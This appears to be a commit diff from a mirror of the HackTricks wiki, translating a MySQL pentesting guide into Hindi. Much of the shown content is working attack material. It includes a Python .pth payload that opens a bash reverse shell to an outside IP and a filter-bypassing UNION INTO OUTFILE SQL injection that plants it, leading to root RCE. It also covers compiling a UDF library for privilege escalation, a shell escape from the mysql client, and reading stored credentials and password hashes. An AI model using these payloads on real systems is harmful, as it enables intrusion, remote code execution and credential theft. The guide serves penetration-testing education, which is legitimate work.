mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to hi
This commit is contained in:
parent
c31fe8b601
commit
b742b67338
@ -1,10 +1,5 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **बुनियादी जानकारी**
|
||||
@ -116,26 +111,26 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक)
|
||||
|
||||
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करते हुए, यह संभव है कि उन लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं।
|
||||
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करके यह संभव है कि लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं।
|
||||
|
||||
1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)।
|
||||
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है, इसके बाद मनमाना Python कोड होता है जिसे हर बार इंटरप्रेटर शुरू होने पर निष्पादित किया जाएगा।
|
||||
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है उसके बाद मनमाना Python कोड होता है जो हर बार इंटरप्रेटर शुरू होने पर निष्पादित होगा।
|
||||
3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)।
|
||||
|
||||
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्थान शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
|
||||
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
एक **UNION** क्वेरी के माध्यम से फ़ाइल बनाने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
|
||||
एक **UNION** क्वेरी के माध्यम से फ़ाइल तैयार करने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
महत्वपूर्ण सीमाएँ और बायपास:
|
||||
|
||||
* `INTO OUTFILE` **मौजूदा फाइलों को अधिलेखित नहीं कर सकता**; एक नया फ़ाइल नाम चुनें।
|
||||
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रारंभ करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
|
||||
* `INTO OUTFILE` **मौजूदा** फ़ाइलों को **ओवरराइट** नहीं कर सकता; एक नया फ़ाइल नाम चुनें।
|
||||
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रीफिक्स करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
|
||||
* यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें।
|
||||
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **root** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
|
||||
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **रूट** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
|
||||
|
||||
`.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है:
|
||||
```
|
||||
@ -151,7 +146,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना
|
||||
## MySQL मनमाने पढ़ने की फ़ाइल द्वारा क्लाइंट
|
||||
|
||||
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
|
||||
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
|
||||
@ -166,8 +161,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -177,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
### Mysql User
|
||||
|
||||
यदि mysql **root** के रूप में चल रहा है तो यह बहुत दिलचस्प होगा:
|
||||
यह बहुत दिलचस्प होगा अगर mysql **root** के रूप में चल रहा है:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
@ -186,10 +181,10 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
|
||||
MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
|
||||
|
||||
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा चलाई जाएगी।
|
||||
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
|
||||
- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
|
||||
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
|
||||
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
|
||||
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
|
||||
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
|
||||
- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके।
|
||||
|
||||
@ -211,18 +206,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Privilege Escalation via library
|
||||
### विशेषाधिकार वृद्धि पुस्तकालय के माध्यम से
|
||||
|
||||
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है।
|
||||
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **पुस्तकालय** की आवश्यकता होगी जो mysql चला रहा है।
|
||||
|
||||
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
|
||||
उपयोग करने के लिए दुर्भावनापूर्ण पुस्तकालय sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाया जा सकता है। **`.so`** फ़ाइलें **linux** पुस्तकालय हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
|
||||
|
||||
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
|
||||
यदि आपके पास वे पुस्तकालय **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
|
||||
अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (रूट?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -264,7 +259,7 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**।
|
||||
|
||||
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
|
||||
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैश** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
|
||||
|
||||
आप इन्हें निकालने के लिए कर सकते हैं:
|
||||
```bash
|
||||
|
Loading…
x
Reference in New Issue
Block a user